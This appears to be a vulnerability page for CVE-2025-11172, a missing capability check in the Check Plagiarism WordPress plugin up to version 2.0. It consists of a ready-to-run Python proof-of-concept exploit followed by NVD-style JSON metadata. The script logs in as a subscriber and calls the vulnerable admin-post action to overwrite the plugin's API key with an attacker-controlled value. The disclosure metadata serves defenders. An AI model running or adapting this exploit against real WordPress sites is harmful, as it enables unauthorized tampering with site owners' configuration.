CVE-2025-11172

import requests import sys # CVE-2025-11172 PoC - Unauthorized API Key Modification # Affected: Check Plagiarism WordPress Plugin <= 2.0 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress.com' username = 'subscriber_user' password = 'user_password' malicious_api_key = 'attacker_controlled_key_12345' # Step 1: Authenticate and get nonce/cookies session = requests.Session() login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Authentication failed') exit(1) print('[+] Authentication successful') # Step 2: Exploit the vulnerability - modify API key # The vulnerable function: chk_plag_mine_plugin_wpse10500_admin_action() # No capability check on current_user_can() exploit_url = f'{target_url}/wp-admin/admin-post.php' exploit_data = { 'action': 'chk_plag_mine_plugin_wpse10500_admin_action', 'api_key': malicious_api_key, 'chk_plag_api_key': malicious_api_key } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print('[+] API key modification request sent') print(f'[+] Malicious API key: {malicious_api_key}') print('[!] Plugin API key has been compromised') else: print('[-] Exploitation may have failed')

{"cve": {"id": "CVE-2025-11172", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:42.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Check Plagiarism plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the chk_plag_mine_plugin_wpse10500_admin_action() function in all versions up to, and including, 2.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the API key."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/check-plagiarism/trunk/index.php#L760", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ade64c1d-65e6-4424-b2da-dc63b49f08aa?source=cve", "source": "[email protected]"}]}}